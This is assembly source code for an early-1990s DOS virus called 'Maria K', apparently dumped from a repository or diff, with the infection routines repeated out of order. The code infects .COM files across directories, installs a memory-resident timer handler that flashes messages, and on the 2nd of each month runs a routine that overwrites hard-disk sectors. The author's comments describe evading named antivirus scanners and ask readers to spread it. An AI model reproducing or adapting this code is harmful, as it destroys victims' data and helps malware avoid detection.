; This used to be under Decrypt/Encrypt, but well, since I don't want
|
||||
; no encryptions in this virus, I just remarked this..And well, Mcaffe's
|
||||
; Beta String used to be place at "mov di, si", that might also be a little
|
||||
; reason..Anyhow..since I didn't coded this from scratch, I can't deny you
|
||||
; from modify in this code..So..Get your Encryption if you wants!
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; MOV si, offset encrypt_val
|
||||
; ADD si, offset_off
|
||||
; MOV ah, byte ptr [si]
|
||||
; MOV cx, offset part2_end - offset bam_bam
|
||||
; ADD si, offset bam_bam - offset encrypt_val
|
||||
; MOV di, si ; - "Beta-String used to be here..
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
xor_loop:
|
||||
lodsb ; DS:[SI] -> AL
|
||||
xor al, ah
|
||||
stosb
|
||||
loop xor_loop
|
||||
ret
|
||||
|
||||
copy_rest_stuff:
|
||||
; Copying routine
|
||||
push si ; SI -> buffer3
|
||||
call encrypt
|
||||
mov cx, part2_size
|
||||
pop dx
|
||||
add dx, offset part2_start - offset buffer3
|
||||
mov ah, 40h
|
||||
int 21h
|
||||
call decrypt ; See what to do..
|
||||
bam_bam:
|
||||
ret
|
||||
|
||||
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
|
||||
buffer2 db part1_end - part1_start dup (?)
|
||||
buffer3 dw ?
|
||||
orig_path db 64 dup (?)
|
||||
num_infec db 0 ; Infection wave number
|
||||
infec_now db 0 ; Number files infected this time
|
||||
root_dir db '\',0 ; Root Dir spec
|
||||
com_mask db '*.com',0 ; Files to infect
|
||||
dir_mask db '*.*',0 ; Files to search for..
|
||||
back_dir db '..',0 ; Dot-Dot..
|
||||
nest dw 0
|
||||
|
||||
DTA db 43 DUP (0) ; For use by infect_dir
|
||||
|
||||
Go: ; Proc there Mcaf "cloud" string is placed.
|
||||
|
||||
add si, offset buffer - offset Go
|
||||
mov di, si
|
||||
add di, offset buffer2 - offset buffer
|
||||
cmp dx, infec_date ; Added this two lines, and
|
||||
jz Go_Psycho ; "Cloud" string is gone...
|
||||
mov cx, part1_size
|
||||
rep movsb
|
||||
mov ah, 47h ; Get directory
|
||||
xor dl,dl ; Default drive
|
||||
add si, offset orig_path - offset buffer - 8
|
||||
int 21h ; in orig_path
|
||||
|
||||
jc Go_Error
|
||||
mov ah, 3Bh ; Change directory
|
||||
mov dx, si ; to the root dir
|
||||
add dx, offset root_dir - offset orig_path
|
||||
int 21h
|
||||
jc Go_Error
|
||||
|
||||
add si, offset num_infec - offset orig_path
|
||||
inc byte ptr [si] ; New infection wave
|
||||
|
||||
push si ; Save offset num_infec
|
||||
|
||||
add si, offset infec_now - offset num_infec
|
||||
mov byte ptr [si], 3 ; Reset infection
|
||||
; counter to 3
|
||||
; for D-new run.
|
||||
|
||||
call traverse_fcn ; Do all the work
|
||||
|
||||
pop si ; Restore offset num_infec
|
||||
cmp byte ptr [si], waves ; 10 infection waves?
|
||||
jge Go_Psycho ; If so, activate
|
||||
|
||||
mov ah, 2Ah ; Get date
|
||||
int 21h
|
||||
cmp dx, infec_date ; Is it 06/06?
|
||||
jz Go_Psycho ; If so, activate
|
||||
|
||||
Go_Error:
|
||||
jmp quit ; And then quit
|
||||
|
||||
Go_Psycho:
|
||||
jmp Psycho ; Yeah, right!
|
||||
|
||||
origattr db 0
|
||||
origtime dw 0
|
||||
origdate dw 0
|
||||
filesize dw 0 ; Size of the uninfected file
|
||||
|
||||
oldhandle dw 0
|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
;D-Traversal function begins
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
traverse_fcn proc near
|
||||
push bp ; Create stack frame
|
||||
mov bp,sp
|
||||
sub sp,44 ; Allocate space for DTA
|
||||
push si
|
||||
|
||||
jmp infect_directory
|
||||
In_fcn:
|
||||
mov ah,1Ah ;Set DTA
|
||||
lea dx,word ptr [bp-44] ;to space allotted
|
||||
int 21h ;Do it now, do it hard!
|
||||
|
||||
mov ah, 4Eh ;Find first
|
||||
mov cx,16 ;Directory mask
|
||||
mov dx,offset dir_mask ;*.*
|
||||
add dx,offset_off
|
||||
int 21h
|
||||
jmp short isdirok
|
||||
gonow:
|
||||
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
|
||||
je short donext ;If so, loop again
|
||||
lea dx,word ptr [bp-14] ;else load dirname
|
||||
mov ah,3Bh ;and changedir there
|
||||
int 21h ;Yup, yup
|
||||
jc short donext ;Do next if invalid
|
||||
mov si, offset nest ;Else increment nest
|
||||
add si, offset_off
|
||||
inc word ptr [si] ;nest++
|
||||
call near ptr traverse_fcn ;recurse directory
|
||||
donext:
|
||||
lea dx,word ptr [bp-44] ;Load space allocated for DTA addr
|
||||
mov ah,1Ah ;and set DTA to it
|
||||
int 21h ;cause it might have changed
|
||||
|
||||
mov ah,4Fh ;Find next
|
||||
int 21h
|
||||
isdirok:
|
||||
jnc gonow ;If OK, jmp elsewhere
|
||||
mov si, offset nest
|
||||
add si, offset_off
|
||||
cmp word ptr [si], 0 ;If root directory (nest == 0)
|
||||
jle short cleanup ; Quit
|
||||
dec word ptr [si] ;Else decrement nest
|
||||
mov dx,offset back_dir ;'..'
|
||||
add dx, offset_off
|
||||
mov ah,3Bh ;Change directory
|
||||
int 21h ;to previous one
|
||||
cleanup:
|
||||
pop si
|
||||
mov sp,bp
|
||||
pop bp
|
||||
ret
|
||||
traverse_fcn endp
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
;D-Traversal function ends
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
Goto_Error:
|
||||
jmp Error
|
||||
|
||||
enuff_for_now:
|
||||
;Set nest to nil
|
||||
mov si, offset nest ;in order to
|
||||
add si, offset_off ;halt the D-Cool
|
||||
mov word ptr [si], 0 ;traversal fcn
|
||||
jmp short cleanup
|
||||
return_to_fcn:
|
||||
jmp short In_fcn ;Return to traversal function
|
||||
|
||||
infect_directory:
|
||||
mov ah, 1Ah ;Set DTA
|
||||
mov dx, offset DTA ;to DTA struct
|
||||
add dx, offset_off
|
||||
int 21h
|
||||
|
||||
find_first_COM:
|
||||
mov ah, 04Eh ;Find first file
|
||||
mov cx, 0007h ;Any file
|
||||
mov dx, offset com_mask ;DS:[DX] --> filemask
|
||||
add dx, offset_off
|
||||
int 21h ;Fill DTA (hopefully)
|
||||
jc return_to_fcn ;<Sigh> Error #E421:0.1
|
||||
jmp check_if_COM_infected ;I<___-Cool! Found one!
|
||||
|
||||
find_next_file2:
|
||||
mov si, offset infec_now ;Another loop,
|
||||
add si, offset_off ;Another infection
|
||||
dec byte ptr [si] ;Infected three?
|
||||
jz enuff_for_now ;If so, exit
|
||||
find_next_file:
|
||||
mov ah,4Fh ;Find next
|
||||
int 21h
|
||||
jc return_to_fcn
|
||||
|
||||
check_if_COM_infected:
|
||||
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
|
||||
add si, offset_off
|
||||
cmp byte ptr [si], 'D' ;??????D.COM?
|
||||
jz find_next_file ;Don't kill COMMAND.COM
|
||||
|
||||
mov ax,3D00h ;Open channel read ONLY
|
||||
mov dx, si ;Offset Pathname in DX
|
||||
sub dx, 6
|
||||
int 21h ;Open NOW!
|
||||
jc find_next_file ;If error, find another
|
||||
|
||||
xchg bx,ax ;bx is now handle
|
||||
mov ah,3Fh ;Save
|
||||
mov cx, part1_size ;first part
|
||||
mov dx, offset buffer ;to buffer
|
||||
add dx, offset_off ;to be restored
|
||||
push dx
|
||||
int 21h ;later
|
||||
|
||||
pop si ;Check for virus ID bytes
|
||||
;in the buffer
|
||||
push si
|
||||
lodsw ;DS:[SI] -> AX
|
||||
cmp ax, virus_marker ;Compare it
|
||||
jnz infect_it ;infect if ID #1 not found
|
||||
|
||||
lodsw ;Check next two bytes
|
||||
cmp ax, virus_marker2 ;Compare it
|
||||
jnz infect_it ;infect if ID #2 not found
|
||||
pop si
|
||||
bomb_out:
|
||||
mov ah, 3Eh ;else close the file
|
||||
int 21h ;and go find another
|
||||
jmp find_next_file ;'cuz it's already infected
|
||||
|
||||
Signature db 'Immortal Riot'
|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
;D-Good Stuff - Infection routine
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
infect_it:
|
||||
; save fileattr
|
||||
pop si
|
||||
add si, offset DTA + DTA_fileattr - offset buffer
|
||||
mov di, si
|
||||
add di, offset origattr - offset DTA - DTA_fileattr
|
||||
movsb ;DS:[SI] -> ES:[DI]
|
||||
movsw ;Save origtime
|
||||
movsw ;Save origdate
|
||||
movsw ;Save filesize
|
||||
;Only need LSW
|
||||
;because COM files
|
||||
;can only be up to
|
||||
;65535 bytes long
|
||||
cmp word ptr [si - 2], part1_size
|
||||
jl bomb_out ;is less than 8 bytes.
|
||||
|
||||
do_again:
|
||||
mov ah, 2Ch ;get time
|
||||
int 21h
|
||||
add dl, dh ;1/100 sec + 1 sec
|
||||
jz do_again ;Don't want orig strain!
|
||||
|
||||
mov si, offset encrypt_val
|
||||
add si, offset_off
|
||||
mov byte ptr [si], dl ;255 mutations
|
||||
|
||||
mov ax, 4301h ;Set file attributes
|
||||
xor cx, cx ;to nothing
|
||||
mov dx, si ;filename in DTA
|
||||
add dx, offset DTA + DTA_filename - offset encrypt_val
|
||||
int 21h ;do it now, my child
|
||||
|
||||
mov ah, 3Eh ;Close file
|
||||
int 21h ;handle in BX
|
||||
|
||||
mov ax, 3D02h ;Open file read/write
|
||||
int 21h ;Filename offset in DX
|
||||
jc bomb_out ;Damn! Probs
|
||||
|
||||
mov di, dx
|
||||
add di, offset oldhandle - offset DTA - DTA_filename
|
||||
;copy filehandle to
|
||||
;oldhandle
|
||||
stosw ;AX -> ES:[DI]
|
||||
xchg ax, bx ;file handle in BX now
|
||||
|
||||
mov ah, 40h ;Write DS:[DX]->file
|
||||
mov cx, part1_size - 4 ;number of bytes
|
||||
mov dx, 0100h ;where code starts
|
||||
int 21h ;(in memory)
|
||||
|
||||
mov ah, 40h
|
||||
mov si, di ; mov si, offset filesize
|
||||
add si, offset filesize - 2 - offset oldhandle
|
||||
add word ptr [si], 0100h
|
||||
mov cx, 2
|
||||
mov dx, si
|
||||
int 21h ;write jmp offset
|
||||
|
||||
mov ax, [si] ;AX = filesize
|
||||
sub ax, 0108h
|
||||
|
||||
add si, offset buffer3 - offset filesize
|
||||
push si
|
||||
mov word ptr [si], ax
|
||||
mov ah, 40h
|
||||
mov cx, 2
|
||||
mov dx, si
|
||||
int 21h
|
||||
|
||||
mov ax, 4202h ;move file ptr
|
||||
xor cx, cx ;from EOF
|
||||
xor dx, dx ;offset cx:dx
|
||||
int 21h
|
||||
|
||||
call copy_rest_stuff
|
||||
|
||||
pop si
|
||||
add si, offset oldhandle - offset buffer3
|
||||
mov bx, word ptr [si]
|
||||
mov ax, 5701h ;Restore
|
||||
add si, offset origtime - offset oldhandle
|
||||
mov cx, word ptr [si] ;old time and
|
||||
add si, 2
|
||||
mov dx, word ptr [si] ;date
|
||||
int 21h
|
||||
|
||||
mov ah, 3Eh ;Close file
|
||||
int 21h
|
||||
|
||||
mov ax, 4301h ;Restore file
|
||||
xor ch, ch
|
||||
add si, offset origattr - offset origtime - 2
|
||||
mov cl, byte ptr [si] ;attributes
|
||||
mov dx, si ; filename in DTA
|
||||
add dx, offset DTA + DTA_filename - offset origattr
|
||||
int 21h ;do it now
|
||||
|
||||
jmp find_next_file2
|
||||
|
||||
GotoError:
|
||||
jmp error
|
||||
|
||||
Psycho:
|
||||
; Check if already installed
|
||||
push es
|
||||
mov byte ptr cs:[100h],0 ;Initialize fingerprint
|
||||
xor bx, bx ;Zero BX for start
|
||||
mov ax, cs
|
||||
Init1: inc bx ;Increment search segment
|
||||
mov es, bx ;value
|
||||
cmp ax, bx ;Not installed if we reach
|
||||
je Not_Installed_Yet ;the current segment
|
||||
mov si, 100h ;Search segment for
|
||||
mov di, si ;fingerprint in first
|
||||
mov cx, 4 ;four bytes
|
||||
repe cmpsb ;Compare
|
||||
jne init1 ;If not equal, try another
|
||||
jmp Quit_Init ;else already installed
|
||||
|
||||
Not_Installed_Yet:
|
||||
pop es
|
||||
mov word ptr cs:[Counter], init_delay
|
||||
mov word ptr cs:[D_Mess], 1
|
||||
|
||||
; Copy interrupt handler to beginning of code
|
||||
mov si, offset _int_08_handler
|
||||
add si, offset_off
|
||||
mov di, Int_08_Start
|
||||
mov cx, int_end - int_start
|
||||
rep movsb ;DS:[SI]->ES:[DI]
|
||||
|
||||
mov ax, 3508h ;Get int 8 handler
|
||||
int 21h ;put in ES:BX
|
||||
|
||||
mov cs:[duh], bx ;Save old handler
|
||||
mov cs:[duh+2], es ;in cs:[104h]
|
||||
|
||||
mov ax, 2508h ;Install new handler
|
||||
mov dx, Int_08_Start ;from DS:DX
|
||||
int 21h ;Do it
|
||||
|
||||
push es
|
||||
mov ax, ds:[2Ch] ;Deallocate program
|
||||
mov es, ax ;environment block
|
||||
mov ah, 49h
|
||||
int 21h
|
||||
pop es
|
||||
|
||||
mov ax, 3100h ;TSR
|
||||
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
|
||||
|
||||
; these two lines are the "long" line above..pls, but ‚m together..
|
||||
; mov dx, (offset int_end - offset int_start + offset part1_end -
|
||||
; offset Code + 4 + 15 + 128) SHR 4
|
||||
|
||||
|
||||
int 21h
|
||||
int 20h ;In case of error
|
||||
Quit_Init:
|
||||
pop es
|
||||
Error: ;On error, quit
|
||||
Quit:
|
||||
mov ah, 3Bh ;Change directory
|
||||
mov dx, offset root_dir ;to the root dir
|
||||
add dx, offset_off
|
||||
int 21h
|
||||
|
||||
mov ah,3Bh ;Change directory
|
||||
;Return to orig dir
|
||||
add dx, offset orig_path - offset root_dir
|
||||
int 21h
|
||||
|
||||
; Copy buffer back to beginning of file
|
||||
mov si, dx
|
||||
add si, offset buffer2 - offset orig_path
|
||||
mov di, 0100h
|
||||
mov cx, part1_end - part1_start
|
||||
rep movsb
|
||||
|
||||
mov di, 0100h
|
||||
jmp di
|
||||
int_start:
|
||||
_int_08_handler proc far
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push ds
|
||||
push es
|
||||
pushf
|
||||
dec word ptr CS:[Counter] ;Counter
|
||||
jnz QuitNow
|
||||
;ACTIVATION!!!
|
||||
mov word ptr CS:[Counter], delay ;Reset counter
|
||||
|
||||
; Set up DS & ES to equal CS
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov si, offset Messages - offset int_start + int_08_start
|
||||
mov cx, cs:D_Mess
|
||||
xor ah, ah
|
||||
LoopY_ThingY:
|
||||
lodsb ;DS:SI -> AL
|
||||
add si, ax ;ES:BP -> Next message to display
|
||||
loop LoopY_ThingY
|
||||
|
||||
lodsb
|
||||
xchg si, bp
|
||||
|
||||
xor cx, cx
|
||||
mov cl, al ;Length of string
|
||||
mov ax, 1300h ;
|
||||
mov bx, 0070h ;Page 0, inverse video
|
||||
xor dx, dx ;(0,0)
|
||||
int 10h ;Display ES:BP
|
||||
inc word ptr cs:[D_Mess]
|
||||
cmp word ptr cs:[D_Mess], num_messages
|
||||
jnz Sigh
|
||||
mov word ptr cs:[D_Mess], 1
|
||||
|
||||
Sigh: mov cx, 30h
|
||||
Sigh2: push cx
|
||||
mov cx, 0FFFFh
|
||||
DelayX: loop DelayX
|
||||
pop cx
|
||||
loop Sigh2
|
||||
xchg si, bp
|
||||
QuitNow:
|
||||
popf
|
||||
pop es
|
||||
pop ds
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr CS:duh
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; Please don't just change the notes here included in the virus, and
|
||||
; claim that it's your production. I know this isn't mine, but afterall,
|
||||
; you could atleast say that I "renaissanced" it. Cuz mane people actually
|
||||
; scans their programs nowdays (..or atleast here..), which makes it
|
||||
; quite stupid to spread a virus which scan etc can find. And well, I'd
|
||||
; like to get this little shit a bit spread..can you get it for me? :)..
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
|
||||
Messages db 0
|
||||
db 15, 'Maria K lives..' ; She ain't dead..
|
||||
db 21, 'Somewhere in my heart..' ; That's truh..huh?
|
||||
db 22, 'Somewhere in Sweden..' ; She lives here!
|
||||
db 26, 'I might be insane..' ; I might be that..
|
||||
db 38, 'But the society to blame..' ; Might be true....
|
||||
db 40, 'The Unforgiven / Immortal Riot' ; That's me....
|
||||
|
||||
_int_08_handler endp
|
||||
int_end:
|
||||
part2_end:
|
||||
|
||||
CODE ends
|
||||
end part1_start
|
||||
|
||||
; Greetings goes out to: Raver, Metal Militia, Scavenger,
|
||||
; and of-cuz a mega Greeting to Maria K !..
|
||||
@@ -0,0 +1,625 @@
|
||||
; VirusName : Maria K..
|
||||
; Country : Sweden
|
||||
; Author : The Unforiven / Immortal Riot
|
||||
; Date : 26/09/1993
|
||||
;
|
||||
; This is a mutation of the "Bobvirus" written by Phalcon/Skism,
|
||||
; Many thanks must go to the scratch coder of this one..(DA?)
|
||||
;
|
||||
; Mcafee Scan used to find this as "Cloud" Virus, But also
|
||||
; as the "Beta" Virus. So..two guys in this little babe...
|
||||
;
|
||||
; This is a non-overwriting .COM files infector, it doesn't do
|
||||
; anything to .EXE files, nor command.com. This goes memory
|
||||
; resident. When it "goes-off", it prints out a "BOBism" every
|
||||
; 5 minutes. If the virus finds itself in the memory, it will not
|
||||
; go up again. It will NOT infect a program when you starts it,
|
||||
; it's just the "printer-part" who is in memory"..
|
||||
;
|
||||
; This version is not encrypted as the original one, but instead,
|
||||
; a hd-trasher has been added, so if some infected file is ran
|
||||
; at the 2:nd every month, someone (me), will be very pleased..
|
||||
;
|
||||
; Scan v108 can't find this, BUT! S&S Toolkit 6.54 do find it!
|
||||
; F-Prot (2.09) DON'T find this and TBScan can't identify it
|
||||
; as the "original" virus, It says it's some "Unknown Virus".
|
||||
;
|
||||
; Okey, think that's all, have phun, and remember,
|
||||
; livi'n ain't no crime!
|
||||
;
|
||||
|
||||
CODE SEGMENT PUBLIC 'CODE'
|
||||
ORG 100h
|
||||
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
|
||||
|
||||
DTA_fileattr EQU 21
|
||||
DTA_filetime EQU 22
|
||||
DTA_filedate EQU 24
|
||||
DTA_filesize EQU 26
|
||||
DTA_filename EQU 30
|
||||
|
||||
virus_marker equ 026FFh ; JMP WORD PTR
|
||||
virus_marker2 equ 00104h ; 0104h
|
||||
part1_size equ part1_end - part1_start
|
||||
part2_size equ part2_end - part2_start
|
||||
offset_off equ duh2
|
||||
init_delay equ 5280 ; Initial delay
|
||||
delay equ 400 ; Subsequent delay
|
||||
num_Messages equ 7 ; Number of "Bob" messages
|
||||
waves equ 7 ; Number of waves to go off after
|
||||
infec_date equ 0606h ; Swedish National Day (0606)..
|
||||
|
||||
Counter equ 108h
|
||||
D_Mess equ 110h
|
||||
Int_08_Start equ 112h
|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; S&S Toolkit 6.54 (FindViru) "string" is placed at the "jmp word ptr duh",
|
||||
; If you finds something to add here, then do! The place he placed his
|
||||
; string is there the virus identify itselves, and I've failed with get
|
||||
; the virus to work after some dully attempt to add some meanless shit.
|
||||
; Anyhow..I must say that Alan kicks my ass here!..Eat my shorts!..
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
part1_start:
|
||||
jmp word ptr duh
|
||||
duh dw middle_part_end - part1_start + 100h
|
||||
duh2 dw 0
|
||||
part1_end:
|
||||
|
||||
middle_part_start:
|
||||
middle_part_end:
|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
;Part 2 begins: Dis is the D-Cool part
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
part2_start:
|
||||
cld
|
||||
call decrypt
|
||||
mov si, offset Go
|
||||
add si, offset_off
|
||||
jmp si
|
||||
|
||||
encrypt_val db 00h
|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; Encrypt/Decrypt isn't really a "Crypt" Routine. Instead, it will check
|
||||
; what day it if, and if it's the second (2:nd) any month, procedure Stone-
|
||||
; Heart will blow off. Stoneheart makes your "heart"-drives be quite empty.
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
DECRYPT:
|
||||
ENCRYPT:
|
||||
mov ah,2ah ; Day-Checking..
|
||||
int 21h ;
|
||||
cmp dl,02 ; Check if day 02..
|
||||
je STONEHEART ; If So..you're a lucky guy
|
||||
jmp SORRY ; Otherwise..try with "date 02"..
|
||||
|
||||
STONEHEART: ; Name of her..
|
||||
cli ;
|
||||
mov ah,2 ; Starting right on..
|
||||
cwd ; Starting it from 0.
|
||||
mov cx,0100h ; Continue to 256....
|
||||
int 026h ; No Exchauses!
|
||||
jmp MARIA ; Jump For Joy..(J4J)..
|
||||
|
||||
MARIA: ; Yeah, her's other handle..
|
||||
CLI ;
|
||||
MOV AL,3 ; Continue with drive D..
|
||||
MOV CX,700 ; Make drive d's heart fall apart..
|
||||
MOV DX,00 ; Start from sector 0
|
||||
MOV DS,[DI+99] ; Put random crap in DS
|
||||
MOV BX,[DI+55] ; More crap in BX
|
||||
CALL STONEHEART ; J4J..once again..
|
||||
|
||||
SORRY: ; I'm feeling soo sorry for you!
|
||||
RET ; Cuz you managed to return!
|
||||
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; This used to be under Decrypt/Encrypt, but well, since I don't want
|
||||
; no encryptions in this virus, I just remarked this..And well, Mcaffe's
|
||||
; Beta String used to be place at "mov di, si", that might also be a little
|
||||
; reason..Anyhow..since I didn't coded this from scratch, I can't deny you
|
||||
; from modify in this code..So..Get your Encryption if you wants!
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
; MOV si, offset encrypt_val
|
||||
; ADD si, offset_off
|
||||
; MOV ah, byte ptr [si]
|
||||
; MOV cx, offset part2_end - offset bam_bam
|
||||
; ADD si, offset bam_bam - offset encrypt_val
|
||||
; MOV di, si ; - "Beta-String used to be here..
|
||||
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||
xor_loop:
|
||||
lodsb ; DS:[SI] -> AL
|
||||
xor al, ah
|
||||
stosb
|
||||
loop xor_loop
|
||||
ret
|
||||
|
||||
copy_rest_stuff:
|
||||
; Copying routine
|
||||
push si ; SI -> buffer3
|
||||
call encrypt
|
||||
mov cx, part2_size
|
||||
pop dx
|
||||
add dx, offset part2_start - offset buffer3
|
||||
mov ah, 40h
|
||||
int 21h
|
||||
call decrypt ; See what to do..
|
||||
bam_bam:
|
||||
ret
|
||||
|
||||
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
|
||||
buffer2 db part1_end - part1_start dup (?)
|
||||
buffer3 dw ?
|
||||
orig_path db 64 dup (?)
|
||||
num_infec db 0 ; Infection wave number
|
||||
infec_now db 0 ; Number files infected this time
|
||||
root_dir db '\',0 ; Root Dir spec
|
||||
com_mask db '*.com',0 ; Files to infect
|
||||
dir_mask db '*.*',0 ; Files to search for..
|
||||
back_dir db '..',0 ; Dot-Dot..
|
||||
nest dw 0
|
||||
|
||||
DTA db 43 DUP (0) ; For use by infect_dir
|
||||
|
||||
Go: ; Proc there Mcaf "cloud" string is placed.
|
||||
|
||||
add si, offset buffer - offset Go
|
||||
mov di, si
|
||||
add di, offset buffer2 - offset buffer
|
||||
cmp dx, infec_date ; Added this two lines, and
|
||||
jz Go_Psycho ; "Cloud" string is gone...
|
||||
mov cx, part1_size
|
||||
rep movsb
|
||||
mov ah, 47h ; Get directory
|
||||
xor dl,dl ; Default drive
|
||||
add si, offset orig_path - offset buffer - 8
|
||||
int 21h ; in orig_path
|
||||
|
||||
jc Go_Error
|
||||
mov ah, 3Bh ; Change directory
|
||||
mov dx, si ; to the root dir
|
||||
add dx, offset root_dir - offset orig_path
|
||||
int 21h
|
||||
jc Go_Error
|
||||
|
||||
add si, offset num_infec - offset orig_path
|
||||
inc byte ptr [si] ; New infection wave
|
||||
|
||||
push si ; Save offset num_infec
|
||||
|
||||
add si, offset infec_now - offset num_infec
|
||||
mov byte ptr [si], 3 ; Reset infection
|
||||
; counter to 3
|
||||
; for D-new run.
|
||||
|
||||
call traverse_fcn ; Do all the work
|
||||
|
||||
pop si ; Restore offset num_infec
|
||||
cmp byte ptr [si], waves ; 10 infection waves?
|
||||
jge Go_Psycho ; If so, activate
|
||||
|
||||
mov ah, 2Ah ; Get date
|
||||
int 21h
|
||||
cmp dx, infec_date ; Is it 06/06?
|
||||
jz Go_Psycho ; If so, activate
|
||||
|
||||
Go_Error:
|
||||
jmp quit ; And then quit
|
||||
|
||||
Go_Psycho:
|
||||
jmp Psycho ; Yeah, right!
|
||||
|
||||
origattr db 0
|
||||
origtime dw 0
|
||||
origdate dw 0
|
||||
filesize dw 0 ; Size of the uninfected file
|
||||
|
||||
oldhandle dw 0
